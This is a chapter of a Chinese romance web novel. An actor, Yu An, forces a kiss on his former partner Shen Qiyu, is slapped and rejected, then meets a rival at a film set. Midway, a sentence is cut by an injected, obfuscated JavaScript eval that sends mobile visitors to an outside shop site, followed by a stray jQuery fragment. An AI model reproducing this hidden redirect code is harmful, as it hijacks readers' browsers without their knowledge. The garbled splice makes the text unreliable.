“你疯了。”

    “郁桉,你真的疯了。”

    “你就是个疯子。”

    “你到底知不知道自己在说些什么?”

    沈祈屿抬起了头,郁桉呼出的热气让他的耳根有些痒痒的。

    他偏过头看向郁桉,眼神里充满着不可置信。

    郁桉的眼神里是执着的清醒,他一脸平静,看不出有什么情绪,他张了张口,如同平常聊天一般漫不经心。

    “我知道,我现在很清醒,沈祈屿。”

    “我说.....你可以喜欢别人。”

    “只要分一点点在意和喜欢给我就够了。”

    “我的存在.....可以永远见不得光。”

    “我想了很久,我发现我根本离不开你。”

    “沈祈屿....你怎么样都行,能不能别不要我。”

    “别...不要我。”

    郁桉的声音越来越轻,有不安也有乞求。

    沈祈屿的脑子一片空白,有一瞬间,他的心彻底软了下来,他想要告诉他,他也很想他,他不会不要他。

    可是最终没有说出口。

    “郁桉,你冷静一点。”

    “你听我说,我们已经分开了,你明白吗?”

    郁桉将头埋进了沈祈屿温热的脖颈里,有些泄了气。

    “可不可以不要再提这个了。”

    沈祈屿蜷了蜷手指,指尖陷入掌心。

    “郁桉,这样是不对的。”

    “你这样对自己是不公平的。”

    “郁桉...”

    “你听我说好不好。”

    “我们这样...”

    还没等沈祈屿的话说完,郁桉忽然直起身子,一只手扣住他的脑袋。

    一时间夺走了沈祈屿的呼吸,吻来得气势汹汹,毫无章法。

    沈祈屿的脑子一片空白,想要推开面前的人,可怎么也使不上劲。郁桉疯狂地想要占领下每一寸土地,每一次是试探,是讨好,得不到回应就只能强占。

    沈祈屿偏了偏头,呼吸乱了节奏,在唇齿的间隙开始有些含糊地叫着郁桉的名字。

    “郁桉。”

    “郁桉,停下!”

    郁桉这次并没有听他的话,他认为只要松开,只要停下,就会彻底地失去面前的人。

    沈祈屿攥紧了郁桉的衣角,皱着眉头,犹豫了片刻狠狠地咬了咬郁桉的唇。

    强烈的刺痛感让郁桉下意识地往后退了一会,沈祈屿大口地呼吸着新鲜空气。

    他的思绪已经不再清晰,被禁锢的身体此时做出了反应,他伸出手,清脆的一声挥到了郁桉的脸上。

    郁桉站在原地,没有躲,被触碰的地方瞬间染上一层红印。

    沈祈屿自己都愣住了,他低头看了一眼自己的手,视线又落在郁桉的脸上。

    他的手微微颤抖,不自觉地动了动,他想要抚上郁桉的脸颊,手刚悬起两秒再次放下。

    “郁桉,你现在清醒了吗?”

    “你觉得这么强迫我对吗?”

    “你觉得我就会妥协吗?”

    “郁桉!别让我讨厌你。”

    说完便撞开了郁桉的身体,摸了摸唇,离开了现场。

    郁桉站在原地一动也没动,他伸出手触碰到脸颊,有些发烫或许是也有沈祈屿残留下的余温吗?

    郁桉不知道自己现在是该愤怒,委屈,难过还是不甘,他的情绪似乎被吞噬了,想要爆发可一点也表现不出来。

    他刚往前走一步,就立刻感觉到自己的步伐虚浮,往前踉跄了一大步,他只能扶着墙一点点朝前走。

    走到洗手间的洗手台前,低下了头。

    刺痛感让他下意识伸出指尖摸了摸唇角,脑海里蹦出了一个荒唐的念头。

    只要给亲,被打也行啊。

    似乎跟沈祈屿说的一样,他确实疯了。

    “郁桉!别让我讨厌你。”

    沈祈屿的话语下一秒在郁桉的脑子里循环,他的心一瞬间又跌入了谷底。

    郁桉抬起头目光呆滞地看着镜子里的自己,脸上是清晰的红印,嘴角还破了皮有些红肿。

    这个样子肯定是不能回去见人了。

    自从沈祈屿回到包间里就一直心不在焉,他的目光时不时地瞥向门口,最后又停在了斜对面郁桉的空位上。

    他没有回来。

    中途贺栩出去了一趟,回来就连连道歉解释着郁桉喝多了,身体不适已经离开了。

    “没事没事,不过郁桉他一个人离开的吗?”

    “有人送他回去吗?”

    品牌方的负责人有些担忧地开口道,贺栩扯了扯嘴角,神情不是很自然。

    “没事。他已经回去了,没事。”

    贺栩话音刚落,眸光便看向沈祈屿,两人无声的对视几秒,贺栩才挪开了目光。

    郁桉是被公司派来的人送回了公寓,一进门,口罩被摘掉,脸上隐隐约约还有着火辣辣的感觉。

    酒醒了一大半了,脑子又清醒多了,突然后悔了,后悔没多亲一会。

    郁桉顺势倒在沙发上,头仍然还有些晕乎乎,他舔了舔唇,还残留着淡淡血腥味。

    小鱼轻轻跳到沙发上,轻轻走到郁桉的身边,舔了舔他的脸颊,火辣辣的感觉居然缓解了些许。郁桉偏过头看向小鱼,指尖轻轻戳戳他的小脑袋。

    “谢谢你。”

    郁桉向公司休假了三天,三天他几乎没离开公寓,除了几次贺栩会来看他的状况,给他送来药品,并没有察觉到他特别的情绪,依旧是淡淡的,与平常无二。

    贺栩几次想要询问郁桉那天晚上的事情,为什么会受伤,可每当看到郁桉,又迟迟开不了口。

    贺栩深吸了一口气。

    “郁哥,那天晚上是不是做得太难看了?”

    郁桉愣了几秒,沉默了许久。

    贺栩见郁桉没有回应,过了好一会才开口道。

    “难看的是你脸上的伤。”

    “没别的。”

    郁桉轻笑了一声,没再说话。

    “郁哥,你收拾好了吗?”

    “时间差不多了,我送你去片场。”

    郁桉为小鱼添好粮和水后站起了身子,低声回应道。

    “走吧。”

    到片场的时候,化妆间已经有人了,郁桉这场戏只是特别出演,戏份不多,妆造也并不复杂。

    他点头与化妆师示意着,摘下了口罩,坐到了化妆镜前,脸上的红印早已消失不见,嘴角的伤口也愈合得差不多了,只是有时

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730131|203425||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    候在说话的时候还会感觉到一丝刺痛。

    只要痛感还在,那天晚上就没有彻底结束。

    因为是特别出演,画面不多,台词也不多,没一会就结束了拍摄。

    贺栩正在跟程姐打电话,郁桉便独自在片场里逛了一大圈。

    今天的风格外大,几片掉落的绿叶被吹到郁桉的面前,他低下头看了一眼时间,刚准备往回走,一个陌生的声音叫住了他。

    “郁老师!”

    郁桉停住了脚步,目光顺着声音落下。

    “郁老师,您好。”

    “哦...我是陆煦,您可能不认识我?但我是认识您的。”

    郁桉的视线像是钉在陆煦的身上一般,一刻也没有挪开,几秒后他才张了张口。

    “我认识你。”

    陆煦缓缓抬起眼眸,与郁桉的视线相碰撞,他的眉眼弯了弯,脸上多了几分笑意,可那双黝黑的眼睛像深潭一般不见底。

    “是吗?那还真是荣幸呢。”

    “郁老师也是来拍戏的吗?”

    郁桉的脸上没有一点情绪,静静地打量着面前的陆煦。

    头发是深栗色的,整个人瘦瘦高高,是修长匀称的少年骨架,年轻又有朝气,长长的睫毛在眼底投出了一小片阴影。

    跟郁桉是完全不同的人。

    “嗯,特别出演的,工作量不大。”

    陆煦点了点头。

    “我是在这边接接配角或一些龙套戏。”

    “今天真是碰巧遇到郁老师了。”

    陆煦刚要开口再说些什么,口袋里的手机震动声打断了他的思绪,他有些歉意地看了一眼郁桉,才拿出了手机。

    手机屏幕亮起,他看了将近二十秒,嘴角微微勾起,又将手机塞进了口袋里。

    “郁老师,抱歉我先走了。”

    “小祈哥通知我,要去参加公司聚餐呢。”

    郁桉的眼神瞬间有了汹涌的波动,语气依旧淡淡的。

    “小祈哥?”

    陆煦似乎没察觉到郁桉情绪里的异常,笑着点了点头,可那眼神里却有一丝不易察觉的挑衅意味。

    “哦,小祈哥,沈祈屿。”

    “和郁老师合作过呢,你们应该很熟悉的。”

    “小祈哥平常对我很照顾,是一个很温柔的人呢。”

    “郁老师,我先走了啊。”

    郁桉没有回应,看着陆煦的背影完全消失在拐角处,才慢慢收回视线。

    郁桉蹲下身子捡起脚边的一片落叶,转动着叶柄,眸光盯着落叶。

    叶身依旧是绿油油的,可已经是没有生命的了。

    沈祈屿到达公司订好的酒店包厢时,人还没完全到齐。

    沈祈屿跟几个同事打了声招呼便找了一个角落里不起眼的位置坐了下来。

    他拿出手机先是看了一眼时间,又点开了微信的界面。

    陆煦在不久前回复了他的微信。

    【小祈哥,我已经在路上了。】

    沈祈屿只是看了一眼,便滑动着屏幕退出了微信界面,刚要关掉手机,屏幕顶端就出现了一条微博推送。

    他指尖僵在手机屏幕上,眼睛一眨不眨地看着那条推送。

    【郁桉遭遇私生堵截,被恶意攻击。】